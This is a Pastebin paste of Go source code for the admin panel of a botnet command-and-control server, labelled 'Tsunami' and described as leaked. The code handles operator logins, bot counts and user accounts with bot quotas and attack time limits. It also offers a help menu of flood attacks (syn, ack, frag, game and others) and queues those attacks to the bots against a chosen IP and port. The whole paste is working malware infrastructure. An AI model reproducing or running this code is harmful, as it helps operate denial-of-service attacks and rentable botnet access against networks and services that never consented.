Advertisement
Guest User

Untitled

a guest
Oct 28th, 2018
144
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 9.46 KB | None | 0 0
  1. //this was leaked because of prism being toxic // greetz to Officer Malone / Entity
  2. package main
  3.  
  4. import (
  5.     "fmt"
  6.     "net"
  7.     "time"
  8.     "strings"
  9.     "strconv"
  10. )
  11.  
  12. type Admin struct {
  13.     conn    net.Conn
  14. }
  15.  
  16. func NewAdmin(conn net.Conn) *Admin {
  17.     return &Admin{conn}
  18. }
  19.  
  20. func (this *Admin) Handle() {
  21.     this.conn.Write([]byte("\033[?1049h"))
  22.     this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  23.  
  24.     defer func() {
  25.         this.conn.Write([]byte("\033[?1049l"))
  26.     }()
  27.  
  28.     // Get username
  29.     this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  30.     this.conn.Write([]byte("\033[01;36mUsername\033[\033[01;97m: \033[0m"))
  31.     username, err := this.ReadLine(false)
  32.     if err != nil {
  33.         return
  34.     }
  35.  
  36.     // Get password
  37.     this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  38.     this.conn.Write([]byte("\033[01;36mPassword\033[\033[01;30m: \033[0m"))
  39.     password, err := this.ReadLine(true)
  40.     if err != nil {
  41.         return
  42.     }
  43.  
  44.     this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  45.     this.conn.Write([]byte("\r\n"))
  46.  
  47.     var loggedIn bool
  48.     var userInfo AccountInfo
  49.     if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  50.         this.conn.Write([]byte("\r\033[00;31mERROR: \033[00;97mInvalid credentials\r\n"))
  51.         buf := make([]byte, 1)
  52.         this.conn.Read(buf)
  53.         return
  54.     }
  55.  
  56.     this.conn.Write([]byte("\r\n\033[0m"))
  57.     go func() {
  58.         i := 0
  59.         for {
  60.             var BotCount int
  61.             if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  62.                 BotCount = userInfo.maxBots
  63.             } else {
  64.                 BotCount = clientList.Count()
  65.             }
  66.  
  67.             time.Sleep(time.Second)
  68.             if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;Connected %d | %s\007", BotCount, username))); err != nil {
  69.                 this.conn.Close()
  70.                 break
  71.             }
  72.             i++
  73.             if i % 60 == 0 {
  74.                 this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  75.             }
  76.         }
  77.     }()
  78.     this.conn.Write([]byte("\033[2J\033[1H"))
  79.    
  80.     for {
  81.         var botCatagory string
  82.         var botCount int
  83.         this.conn.Write([]byte("\033[\033[01;36m" + username + "\033[01;97m@\033[\033[01;36mTsunami\033[01;37m# \033[0;97m"))
  84.         cmd, err := this.ReadLine(false)
  85.        
  86.         if cmd == "clear" || cmd == "cls" || cmd == "c" {
  87.     this.conn.Write([]byte("\033[2J\033[1H"))
  88.             continue
  89.         }
  90.        
  91.         if err != nil || cmd == "help" || cmd == "HELP" {
  92.             this.conn.Write([]byte("\x1b[1;97m[---Commands---]\r\n"))
  93.             this.conn.Write([]byte("\x1b[1;97msyn [ip] [time] dport=[port]\r\n"))
  94.             this.conn.Write([]byte("\x1b[1;97mplain [ip] [time] dport=[port]\r\n"))
  95.             this.conn.Write([]byte("\x1b[1;97mack [ip] [time] dport=[port]\r\n"))
  96.             this.conn.Write([]byte("\x1b[1;97musyn [ip] [time] dport=[port]\r\n"))
  97.             this.conn.Write([]byte("\x1b[1;97mtcpall [ip] [time] dport=[port]\r\n"))
  98.             this.conn.Write([]byte("\x1b[1;97mfrag [ip] [time] dport=[port]\r\n"))
  99.             this.conn.Write([]byte("\x1b[1;97masyn [ip] [time] dport=[port]\r\n"))
  100.             this.conn.Write([]byte("\x1b[1;97mgame [ip] [time] dport=[port]\r\n"))
  101.             continue
  102.         }
  103.        
  104.         if err != nil || cmd == "exit" || cmd == "quit" {
  105.             return
  106.         }
  107.        
  108.         if cmd == "" {
  109.             continue
  110.         }
  111.  
  112.         botCount = userInfo.maxBots
  113.  
  114.         if userInfo.admin == 1 && cmd == "adduser" {
  115.             this.conn.Write([]byte("Enter new username: "))
  116.             new_un, err := this.ReadLine(false)
  117.             if err != nil {
  118.                 return
  119.             }
  120.             this.conn.Write([]byte("Enter new password: "))
  121.             new_pw, err := this.ReadLine(false)
  122.             if err != nil {
  123.                 return
  124.             }
  125.             this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
  126.             max_bots_str, err := this.ReadLine(false)
  127.             if err != nil {
  128.                 return
  129.             }
  130.             max_bots, err := strconv.Atoi(max_bots_str)
  131.             if err != nil {
  132.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
  133.                 continue
  134.             }
  135.             this.conn.Write([]byte("Max attack duration (-1 for none): "))
  136.             duration_str, err := this.ReadLine(false)
  137.             if err != nil {
  138.                 return
  139.             }
  140.             duration, err := strconv.Atoi(duration_str)
  141.             if err != nil {
  142.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
  143.                 continue
  144.             }
  145.             this.conn.Write([]byte("Cooldown time (0 for none): "))
  146.             cooldown_str, err := this.ReadLine(false)
  147.             if err != nil {
  148.                 return
  149.             }
  150.             cooldown, err := strconv.Atoi(cooldown_str)
  151.             if err != nil {
  152.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
  153.                 continue
  154.             }
  155.             this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  156.             confirm, err := this.ReadLine(false)
  157.             if err != nil {
  158.                 return
  159.             }
  160.             if confirm != "y" {
  161.                 continue
  162.             }
  163.             if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  164.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  165.             } else {
  166.                 this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
  167.             }
  168.             continue
  169.         }
  170.  
  171.         if cmd == "bots" {
  172.         botCount = clientList.Count()
  173.             m := clientList.Distribution()
  174.             for k, v := range m {
  175.                 this.conn.Write([]byte(fmt.Sprintf("\033[\033[01;36m%s\033[00;87m:\t%d\r\n", k, v)))
  176.             }
  177.             continue
  178.         }
  179.         if cmd[0] == '-' {
  180.             countSplit := strings.SplitN(cmd, " ", 2)
  181.             count := countSplit[0][1:]
  182.             botCount, err = strconv.Atoi(count)
  183.             if err != nil {
  184.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  185.                 continue
  186.             }
  187.             if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  188.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  189.                 continue
  190.             }
  191.             cmd = countSplit[1]
  192.         }
  193.         if userInfo.admin == 1 && cmd[0] == '@' {
  194.             cataSplit := strings.SplitN(cmd, " ", 2)
  195.             botCatagory = cataSplit[0][1:]
  196.             cmd = cataSplit[1]
  197.         }
  198.  
  199.         atk, err := NewAttack(cmd, userInfo.admin)
  200.         if err != nil {
  201.             this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  202.         } else {
  203.             buf, err := atk.Build()
  204.             if err != nil {
  205.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  206.             } else {
  207.                 if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  208.                     this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  209.                 } else if !database.ContainsWhitelistedTargets(atk) {
  210.                     clientList.QueueBuf(buf, botCount, botCatagory)
  211.                 } else {
  212.                     fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  213.                 }
  214.             }
  215.         }
  216.     }
  217. }
  218.  
  219. func (this *Admin) ReadLine(masked bool) (string, error) {
  220.     buf := make([]byte, 1024)
  221.     bufPos := 0
  222.  
  223.     for {
  224.         n, err := this.conn.Read(buf[bufPos:bufPos+1])
  225.         if err != nil || n != 1 {
  226.             return "", err
  227.         }
  228.         if buf[bufPos] == '\xFF' {
  229.             n, err := this.conn.Read(buf[bufPos:bufPos+2])
  230.             if err != nil || n != 2 {
  231.                 return "", err
  232.             }
  233.             bufPos--
  234.         } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  235.             if bufPos > 0 {
  236.                 this.conn.Write([]byte(string(buf[bufPos])))
  237.                 bufPos--
  238.             }
  239.             bufPos--
  240.         } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  241.             bufPos--
  242.         } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  243.             this.conn.Write([]byte("\r\n"))
  244.             return string(buf[:bufPos]), nil
  245.         } else if buf[bufPos] == 0x03 {
  246.             this.conn.Write([]byte("^C\r\n"))
  247.             return "", nil
  248.         } else {
  249.             if buf[bufPos] == '\x1B' {
  250.                 buf[bufPos] = '^';
  251.                 this.conn.Write([]byte(string(buf[bufPos])))
  252.                 bufPos++;
  253.                 buf[bufPos] = '[';
  254.                 this.conn.Write([]byte(string(buf[bufPos])))
  255.             } else if masked {
  256.                 this.conn.Write([]byte("*"))
  257.             } else {
  258.                 this.conn.Write([]byte(string(buf[bufPos])))
  259.             }
  260.         }
  261.         bufPos++
  262.     }
  263.     return string(buf), nil
  264. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement